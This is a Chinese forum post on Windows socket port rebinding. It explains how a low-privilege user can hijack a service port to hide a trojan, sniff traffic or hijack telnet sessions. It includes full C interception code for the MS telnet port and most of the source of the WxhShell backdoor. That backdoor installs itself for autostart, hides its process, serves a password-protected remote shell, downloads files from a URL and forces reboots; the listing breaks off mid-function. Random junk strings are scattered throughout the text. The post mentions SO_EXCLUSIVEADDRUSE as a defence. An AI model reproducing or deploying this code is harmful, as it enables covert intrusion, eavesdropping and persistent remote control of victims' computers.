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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: @Zj& `/  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Jlz9E|*qV  
7O"hiDQ  
  saddr.sin_family = AF_INET; QOd!]*W`?m  
Zct!/u9 Q  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); sSNCosb  
L(;.n>/  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); >C:If0S4X  
\d:h$  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 !KAsvF,j  
.ByU  
  这意味着什么?意味着可以进行如下的攻击: K0LbZMn,/  
n?}5!  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 {-J:4*`  
Fk aXA.JE  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) *{Yh6 {  
Et.j1M|g  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 q#jEv-j.  
$ 3]b>v  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ",T` \8&@e  
lf6|.  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 -( (Z@T1k  
I.-v?1>,  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 :SK<2<8h  
<$Ztik1  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 puA |NT  
A*Rn<{U  
  #include v~f'K3fLp  
  #include ?d~]Wd!z  
  #include Oi6Eo~\f  
  #include    "9%q bM B  
  DWORD WINAPI ClientThread(LPVOID lpParam);   GY9y9HNZ  
  int main() =!<^^6LZ  
  { x^X$M$o,l  
  WORD wVersionRequested; zA,/@/'(  
  DWORD ret; S*xhX1yUi  
  WSADATA wsaData; 2uEhOi0I  
  BOOL val; 0 7\02f  
  SOCKADDR_IN saddr; G0pBR]_5z$  
  SOCKADDR_IN scaddr; 05"qi6tncz  
  int err; jWSb5#Pw  
  SOCKET s; ^4 8\>-Q\  
  SOCKET sc; $o"g73`3  
  int caddsize; 4#7Umj  
  HANDLE mt; `.[ 8$  
  DWORD tid;   ?&xlT+JM  
  wVersionRequested = MAKEWORD( 2, 2 ); [Y$V\h=V  
  err = WSAStartup( wVersionRequested, &wsaData ); 9ad6uTc  
  if ( err != 0 ) { EX+,:l\^  
  printf("error!WSAStartup failed!\n"); YmgCl!r@  
  return -1; 9x[ U$B  
  } CL1 oAk  
  saddr.sin_family = AF_INET; 8 URj1 W  
   :~D]; m  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 n/AW?'  
BGzO!s*@j  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); g|4w8ry  
  saddr.sin_port = htons(23); "wINBya'M  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) n,sY\=vB  
  { np=kTJ  
  printf("error!socket failed!\n"); Um\0i;7 ~4  
  return -1; u7#z^r  
  } [ f34a  
  val = TRUE; Z2bUs!0  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 c D7FfJ  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 1eD.:_t4  
  { qtY m!g  
  printf("error!setsockopt failed!\n"); lhxdx    
  return -1; )x[HuIRaa  
  } ESv:1o`?n  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; /AR]dcL@76  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 1a8$f5  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 6v>z h  
t !~ S9c  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) u w"*zBxl  
  { F~R7~ZE  
  ret=GetLastError(); gt@SuX!@{^  
  printf("error!bind failed!\n"); PU Cx]5  
  return -1; J*K<FFp3<  
  } rN#\AN  
  listen(s,2); 1.0J2nZpt  
  while(1) v|&s4x?D  
  { W_}/O'l{  
  caddsize = sizeof(scaddr); 3I*uV!notJ  
  //接受连接请求 EY$?^iS  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ~6HDW  
  if(sc!=INVALID_SOCKET) ET+'Pj3  
  {  C0<YH "  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); K(3&27sGN  
  if(mt==NULL) |X3">U +-  
  { =fWdk\Wv  
  printf("Thread Creat Failed!\n"); fnOIv#  
  break; a.,i.2  
  } Pb4q`!  
  } X+at%L=  
  CloseHandle(mt); [gZDQcU  
  } WHk/$7_"i  
  closesocket(s); F`srE6H  
  WSACleanup(); GoD ?KC  
  return 0; [+gzdLad  
  }   rKp1%S1  
  DWORD WINAPI ClientThread(LPVOID lpParam) " 5|\X<f  
  { J7n5Ps\M  
  SOCKET ss = (SOCKET)lpParam; Mz\yPT;Y  
  SOCKET sc; ^aptLJF  
  unsigned char buf[4096]; WgPgG0VJE  
  SOCKADDR_IN saddr; ugxw!cj  
  long num; g}r^Xzd;  
  DWORD val; $?$9y ^\  
  DWORD ret; 3agNBF2  
  //如果是隐藏端口应用的话,可以在此处加一些判断 i@6wO?Tv  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   <I 1y  
  saddr.sin_family = AF_INET; n;qz^HXEJ  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1");  "l2bx  
  saddr.sin_port = htons(23); R9vY:oN%  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) |*E"G5WZM  
  { I%i:)6Un-y  
  printf("error!socket failed!\n"); >2Ca5C  
  return -1; 8Z!*[c>K-?  
  } SB1[jcJ  
  val = 100; OHhs y|W  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) J[r^T&o  
  { ls]H6z*q  
  ret = GetLastError(); -ek1$y9)  
  return -1; P}l#VJWp  
  } zp#:EZ  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 5H*>  
  { M5 `m.n<  
  ret = GetLastError(); yZ~b+=UM  
  return -1; <tW:LU(!  
  } 8T7f[?  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) RpAiU  
  { ^Xa*lR 3  
  printf("error!socket connect failed!\n"); 6qDfcs  
  closesocket(sc); _k|g@"  
  closesocket(ss); e{JVXc[D  
  return -1; Pxk0(oBX  
  } S\b K+  
  while(1) #]X2^ND4 7  
  { FW5}oD( H  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 /yp/9r@T0  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 6W:1>,xS  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 cyHU\!Z*Zq  
  num = recv(ss,buf,4096,0); k{{hZ/om  
  if(num>0) Ysl9f1>%  
  send(sc,buf,num,0); T*R{L  
  else if(num==0) (:l(_-O  
  break; =+4 _j  
  num = recv(sc,buf,4096,0); "4RQ`.S R  
  if(num>0) :~i+tD  
  send(ss,buf,num,0); Tm\OYYyk  
  else if(num==0) sNf +lga0  
  break; 'QnW9EHLF  
  } Y!it!9  
  closesocket(ss); +nzTxpcP@K  
  closesocket(sc); {?y<%@  
  return 0 ; ~hzEKvs  
  } QheDF7'z  
d "B5==0I  
1EuK, :x  
========================================================== @ce3%`c_  
58PKx5`D  
下边附上一个代码,,WXhSHELL G\):2Qz!|  
0H<4+ *`K  
========================================================== }|,EU!nDi  
]Cr]Pvab{  
#include "stdafx.h" ^7<[}u;qF  
Q8 4t9b  
#include <stdio.h> 7G2vYKC'  
#include <string.h> t +J)dr  
#include <windows.h> {RH*8?7  
#include <winsock2.h> |w4(rs-  
#include <winsvc.h> P.!;Uf}32  
#include <urlmon.h> T*8_FR<  
&%}bRPUl  
#pragma comment (lib, "Ws2_32.lib") 1-/4Y5?}  
#pragma comment (lib, "urlmon.lib") $=lJG(2%  
gn364U a  
#define MAX_USER   100 // 最大客户端连接数 jXtLo,km  
#define BUF_SOCK   200 // sock buffer 5"[y FmP*  
#define KEY_BUFF   255 // 输入 buffer }\U0[x#q  
4sI3(z)9H  
#define REBOOT     0   // 重启 f7S^yA[[  
#define SHUTDOWN   1   // 关机 Bg5;Q)  
u^!&{q  
#define DEF_PORT   5000 // 监听端口 w9'H.L q  
[O [FCn  
#define REG_LEN     16   // 注册表键长度 T4l-sJ'|  
#define SVC_LEN     80   // NT服务名长度 $,g 3*A  
[GOX0}$?  
// 从dll定义API 7L1\1E:!  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); O~nBz):2  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); .0?ss0~  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); LciL/?  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ZWov_  
O\3r%=TF  
// wxhshell配置信息 x_]",2 W'  
struct WSCFG { 9UB??049z  
  int ws_port;         // 监听端口 3zk:59  
  char ws_passstr[REG_LEN]; // 口令 |+>%o.M&i  
  int ws_autoins;       // 安装标记, 1=yes 0=no Z#srQD3].(  
  char ws_regname[REG_LEN]; // 注册表键名 M}R@ K;%  
  char ws_svcname[REG_LEN]; // 服务名 ;L#L Dk{Za  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ScM} m  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 /QV [N  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 5?<|3  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 0F-mROC=F  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" C]aOgt/U  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 0G+L1a-  
 aOaF&6'j  
}; eTLI/?|+N  
o'9OPoof:.  
// default Wxhshell configuration *>?):-9"6N  
struct WSCFG wscfg={DEF_PORT, #L|JkBia  
    "xuhuanlingzhe", =U)n`#6_j2  
    1, 9_g>BI;"8  
    "Wxhshell", uzat."`d'  
    "Wxhshell", ~}hba3&b;#  
            "WxhShell Service", d=Rk\F'^J  
    "Wrsky Windows CmdShell Service", &!H~bzg  
    "Please Input Your Password: ", f\U?:8 3  
  1, >$#*`6R  
  "http://www.wrsky.com/wxhshell.exe", !UUmy% 9  
  "Wxhshell.exe" hX{g]KE>  
    }; nR=2eBNf  
hY4)W  
// 消息定义模块 o|b[(t$;O  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ="'rH.n #  
char *msg_ws_prompt="\n\r? for help\n\r#>"; y<IZ|f  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";  tH<9  
char *msg_ws_ext="\n\rExit."; R{2GQB  
char *msg_ws_end="\n\rQuit."; sWojQ-8}  
char *msg_ws_boot="\n\rReboot..."; 7cOg(6N  
char *msg_ws_poff="\n\rShutdown..."; ~/]\iOL  
char *msg_ws_down="\n\rSave to "; '&_y*"/c  
3cV+A]i  
char *msg_ws_err="\n\rErr!"; q\z=z$VR  
char *msg_ws_ok="\n\rOK!"; 0pZ.; /<{  
.MzP}8^  
char ExeFile[MAX_PATH]; \( Gf+  
int nUser = 0; F$sF 'cw  
HANDLE handles[MAX_USER]; 3; -@<9  
int OsIsNt; TQb FI;\  
jl 30\M7  
SERVICE_STATUS       serviceStatus; J1u@A$4l?  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; lO5gkOJ?  
|({UV-`  
// 函数声明 &EbD.>Ci  
int Install(void); E&T'U2  
int Uninstall(void); j 44bF/  
int DownloadFile(char *sURL, SOCKET wsh); B'lxlYV1  
int Boot(int flag); QB.*R?A  
void HideProc(void); ;'WzfJ!q  
int GetOsVer(void); 2gC&R1 H  
int Wxhshell(SOCKET wsl); P*"AtZuY]  
void TalkWithClient(void *cs); 2A18hP`^  
int CmdShell(SOCKET sock); 6{Cu~G{]N  
int StartFromService(void); JK'_P}[]I  
int StartWxhshell(LPSTR lpCmdLine); 1X!f!0=g+  
YVg}q#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); \aJ-q?=  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); uYFcq  
G~iYF(:&  
// 数据结构和表定义 ~jRk10T(B  
SERVICE_TABLE_ENTRY DispatchTable[] = Gad2EEZ%0  
{ &Ow?Hd0  
{wscfg.ws_svcname, NTServiceMain}, [:hy  
{NULL, NULL} =ZJ?xA8  
}; *l'$pJ X  
w]5f3CIm  
// 自我安装 ~|B!. +  
int Install(void) X%R^)zKV  
{ b]qfcV  
  char svExeFile[MAX_PATH]; *a0I  Z  
  HKEY key; rEpKX  
  strcpy(svExeFile,ExeFile); DRg ~HT  
p ra-8z-  
// 如果是win9x系统,修改注册表设为自启动 jv#" vQ9A]  
if(!OsIsNt) { [ sO<6?LY  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {msB+n~WZ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); mX_Uhpw?t  
  RegCloseKey(key); \g6 # MNW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { RKJWLofX&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); kc(b;EA  
  RegCloseKey(key); #uw*8&%0  
  return 0; wqoN@d  
    } =z /mI y<  
  } rJ~(Xu>,s  
} HE<%d  
else { 4}YT@={g}  
C00*X[p  
// 如果是NT以上系统,安装为系统服务 SD.*G'N&2f  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ]~<T` )Hi  
if (schSCManager!=0) Mn{Rg>X  
{ d_|v=^;  
  SC_HANDLE schService = CreateService ::b;4Q L  
  ( $gtT5{"PN(  
  schSCManager, M@z/ gy^  
  wscfg.ws_svcname, op{(mn  
  wscfg.ws_svcdisp, 2{tJ'3  
  SERVICE_ALL_ACCESS, "'dC>7*<  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , X OtS+p  
  SERVICE_AUTO_START, Xwq2;Bq  
  SERVICE_ERROR_NORMAL, jQlK-U=oi  
  svExeFile, {7szo`U2  
  NULL, !g:G{b  
  NULL, (c7{dYV  
  NULL, ;+Kewi;<  
  NULL, Xg#([}b  
  NULL 83(P_Y:  
  ); J)& +y;.  
  if (schService!=0) b#'a4j-u  
  { S|h  m  
  CloseServiceHandle(schService); Jg6[/7*m  
  CloseServiceHandle(schSCManager); |#kf.kN  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ~Q\ZDMTK  
  strcat(svExeFile,wscfg.ws_svcname); *==nOO9G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { j_<n~ri-  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); %),O9*[9  
  RegCloseKey(key); 3CRBu:)m  
  return 0; /Bu5k BC  
    } ~"B[6^sW  
  } p=T\3_q  
  CloseServiceHandle(schSCManager); k/Ro74f=  
} /;ITnG  
} pLcng[  
Om~C0  
return 1; MUl+Oy>  
} }7v2GfEkM  
a5&j=3)|  
// 自我卸载 E6)mBAE  
int Uninstall(void) FeMu`|2  
{ GTe9@d  
  HKEY key; \2b9A' d>  
)Me&xQTn  
if(!OsIsNt) { GTvb^+6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "YZ`g}sG  
  RegDeleteValue(key,wscfg.ws_regname); 96j2D8=w  
  RegCloseKey(key); wH<*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  i9"1  
  RegDeleteValue(key,wscfg.ws_regname); eL!6}y}W  
  RegCloseKey(key); c6|&?}F  
  return 0; DdgFBO  
  } `#bcoK5  
} j>23QPG`6U  
} 8uiQm;W  
else { 4|thDb)]  
VPbNLi  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Y$^QH.h  
if (schSCManager!=0) g!uhy}  
{ (PF (,B  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); uzD{ewR/.y  
  if (schService!=0) ?`$4ZDM  
  { 3u<2~!sR  
  if(DeleteService(schService)!=0) { $mlcaH  
  CloseServiceHandle(schService); G y2XjO8b  
  CloseServiceHandle(schSCManager); #oI`j q  
  return 0; x uF_^  
  } Pmb`05\  
  CloseServiceHandle(schService); 2~ a4ib  
  } e{=$4F  
  CloseServiceHandle(schSCManager); W2^R$"U  
} $fKWB5p|()  
} hSmM OS{  
UpbzH(?#  
return 1; |Z;Av%%  
} .755-S  
r|+Zni]  
// 从指定url下载文件 _+i-)  
int DownloadFile(char *sURL, SOCKET wsh) BKk*<WMD  
{ _C?K;-v}  
  HRESULT hr; _19k@a  
char seps[]= "/"; -zt\we qA  
char *token; u|E,Wy1  
char *file; iBCM?RiG  
char myURL[MAX_PATH]; |j;`;"+B  
char myFILE[MAX_PATH]; 2B# \683  
UOyP6ej  
strcpy(myURL,sURL); x =k$^V~  
  token=strtok(myURL,seps); =S,^"D\Z:  
  while(token!=NULL) b\?`721BG  
  { Z'E@sc 9  
    file=token; a[/p(O  
  token=strtok(NULL,seps); h W-[omr0  
  } 2 Ug jH  
-v:Y\=[\  
GetCurrentDirectory(MAX_PATH,myFILE); ZISR]xay  
strcat(myFILE, "\\"); tU(6%zvR  
strcat(myFILE, file); uBM1;9h  
  send(wsh,myFILE,strlen(myFILE),0); WrV|<%EQh  
send(wsh,"...",3,0); [4gv_g  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); (HEjmQjE  
  if(hr==S_OK) T@L^RaPX  
return 0; ixp%aRRP  
else ]b[ 3 th*  
return 1; ,Vogo5~X  
a P`;Nr=  
} 3cnsJV]  
- na]P3 s  
// 系统电源模块 ALG +  
int Boot(int flag) vt1!|2{ h  
{ R\X J  
  HANDLE hToken; @? t)UE  
  TOKEN_PRIVILEGES tkp; Aam2Y,B  
% $J^dF_0  
  if(OsIsNt) { {BF$N#7  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); D=3NI  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 8.vD]hO  
    tkp.PrivilegeCount = 1; vnKUD|  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 5!wa\)wY  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); y+c+/L8  
if(flag==REBOOT) { S2`p&\Ifn  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) oRCj]9I$  
  return 0; ec{pWzAe  
} Qml<JF  
else { CrK}mbe  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) qLcs)&}/A  
  return 0; d !>PqPo  
} W&* 0F~  
  } vzfWPjpKW  
  else { |_Vlw&qu+  
if(flag==REBOOT) { Z5v\[i@H!  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) #HqXC\~n  
  return 0; 7%C6gU!r  
} hivWQ$6%  
else { _/hWzj=q  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) orJN#0v4  
  return 0; <5=^s%H  
} li(g?|AD  
} )[>{ Ie2  
3b~k)t4R  
return 1; G8j$&1`:  
} ?3[as<GZ8  
: W^ k3/t  
// win9x进程隐藏模块 Ww:,O48%  
void HideProc(void) sZ_+6+ :  
{ ~8Z)e7 j  
ji5c0WH  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); T=%,^  
  if ( hKernel != NULL ) `5:b=^'D /  
  { 4'[/gMUkw  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); O(#DaFJv  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); c3lU  
    FreeLibrary(hKernel); | bDUekjR  
  } WTbq)D(&[_  
az/NZlJhT  
return; '| WY 2>/(  
} Y'H|Tk^`  
G*^4+^Vz?  
// 获取操作系统版本 o!bV;]  
int GetOsVer(void) NSI$uS6  
{ ;LD!eWSK,  
  OSVERSIONINFO winfo; 3RJsH :u8  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); (l}W\iB' d  
  GetVersionEx(&winfo); 7Ji|x{``  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) "n'kv!?\  
  return 1; X;'H@GU0  
  else OXp(rJ*bK  
  return 0; 4j_\_:$w<  
} {9B"'65o  
j]P'xrWl]8  
// 客户端句柄模块 iC2``[m"  
int Wxhshell(SOCKET wsl) zo83>bt  
{ jzvrJ14  
  SOCKET wsh; /xq^]0xy  
  struct sockaddr_in client; >UNx<=ry  
  DWORD myID; Nk2n&(~$  
TsVU^Z%W  
  while(nUser<MAX_USER) .7BJq?K.  
{ [eLMb)n  
  int nSize=sizeof(client); x4bmV@b  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); G9_7jX*  
  if(wsh==INVALID_SOCKET) return 1; f*o+g:]3  
z=/&tRe W  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); +9exap27  
if(handles[nUser]==0) {:] u 6l  
  closesocket(wsh); 45Hbg  
else L9{y1'')  
  nUser++; fDjJdRS"  
  } L.2!Q3&  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 3!M|Sf<s  
w~4T.l#1  
  return 0; l=UXikx  
} MFeY}_d<  
O@HL%ha  
// 关闭 socket uN&UYJ' B  
void CloseIt(SOCKET wsh) 9+#BU$*v  
{ =&Z#QD"vl  
closesocket(wsh); FQBE1h@k0u  
nUser--; LEuDDJ -  
ExitThread(0); _9yW; i-  
} yXQ 28A  
m<sCRWa-  
// 客户端请求句柄 !&},h=  
void TalkWithClient(void *cs) f cnv[B..{  
{ a$K6b5`>Rs  
:.= #U  
  SOCKET wsh=(SOCKET)cs; \ [bJ@f*."  
  char pwd[SVC_LEN]; cs9"0&JX  
  char cmd[KEY_BUFF]; ^+w1:C5  
char chr[1]; j^.|^q<Y  
int i,j; ; GEr8_7  
=6a=`3r!I  
  while (nUser < MAX_USER) { %$_Y"82  
(y s<{Y-;  
if(wscfg.ws_passstr) { }Te+Rv7{E  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (&-I-#i  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); YpgO]\/w  
  //ZeroMemory(pwd,KEY_BUFF); tn;Uaw  
      i=0; +~EnrrT+W  
  while(i<SVC_LEN) { d ATAH}r&  
@^%YOorr  
  // 设置超时 dVMLn4[,MA  
  fd_set FdRead; +7{8T{  
  struct timeval TimeOut; \0K&2'  
  FD_ZERO(&FdRead); ~x[(1  
  FD_SET(wsh,&FdRead); 0v#p4@Z  
  TimeOut.tv_sec=8; \E6 0  
  TimeOut.tv_usec=0; 5&.I9}[)j  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); #r,!-;^'p  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); dXPTW;w  
2UopGxrPKw  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1)5/a5  
  pwd=chr[0]; G.r =fNP  
  if(chr[0]==0xd || chr[0]==0xa) { pgW^hj\  
  pwd=0; J\FLIw4  
  break; ]x66/O\0u  
  } :Dfl,=S  
  i++; `QZKW  
    } _;R#B`9Iu  
Q3'P<"u  
  // 如果是非法用户,关闭 socket 8K@e8p( y  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); EN__C$  
} fm$Qd^E|e  
s`pdy$  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Z{gDEo)  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T)tTzgLD}  
Q[FDk63;w  
while(1) { 1ed^{Wa4$9  
IR?nH`V  
  ZeroMemory(cmd,KEY_BUFF); ^Nt^.xi7  
JEK_W<BD  
      // 自动支持客户端 telnet标准   v?}rA%so  
  j=0; [!Djs![O  
  while(j<KEY_BUFF) { >;#rK@*&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); O_ vH w^  
  cmd[j]=chr[0]; E>:#{%  
  if(chr[0]==0xa || chr[0]==0xd) { {E}D6`{  
  cmd[j]=0; o}D }Q"=A  
  break; X5-[v(/]  
  } lanU)+U.  
  j++; }2^qM^,0  
    } i2-]Xl  
3lKs>HE0  
  // 下载文件 ?m9=Me  
  if(strstr(cmd,"http://")) { xZ* B}O{{H  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); r oBb o  
  if(DownloadFile(cmd,wsh)) q"WfKz!U  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ir(U7D  
  else Hd TB[(  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); - ~*kAh  
  } aCi)icn$  
  else { V2:S 9vO'  
ScQ9p379  
    switch(cmd[0]) { ) r"7"i  
  x7i,jMR  
  // 帮助 R:+?<U&  
  case '?': { ?;Da%VS3  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); #Fgybokm  
    break; gt=@v())  
  } O7od2fV(i7  
  // 安装 s!]QG  
  case 'i': { |o ^mg9  
    if(Install()) <p?oFD_e4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Fr<tk^~/  
    else i3) 7Qa[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bU}l*"  
    break; S2 P9C"  
    } }h|HT  
  // 卸载 '$4&q629d  
  case 'r': { [(vV45(E  
    if(Uninstall()) X@/wsW(kM\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )Ofwfypc  
    else =(bTS n  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m6@;!*Y  
    break; <W^>:!?w  
    } f %P#.  
  // 显示 wxhshell 所在路径 <d[GGkY]=  
  case 'p': { )/z+W[t  
    char svExeFile[MAX_PATH]; "b"|ay  
    strcpy(svExeFile,"\n\r"); Ss1&fZoj  
      strcat(svExeFile,ExeFile); n8q%>.i7  
        send(wsh,svExeFile,strlen(svExeFile),0); /<J5?H  
    break; 3g0v,7,Zv  
    } 6rlM\k@!  
  // 重启 ;Wn0-`_1,  
  case 'b': { bOr6"nn  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ;9)=~)  
    if(Boot(REBOOT)) kPSi6ci  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bV*q~ @xh  
    else { &}0#(Fa`  
    closesocket(wsh); C2L=i3R  
    ExitThread(0); l HZ4N{n  
    } [h.i,%Ua"P  
    break; kcP&''  
    } = d!YM6G  
  // 关机 I=k`VId:  
  case 'd': { '=UsN_@  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~S0T+4$  
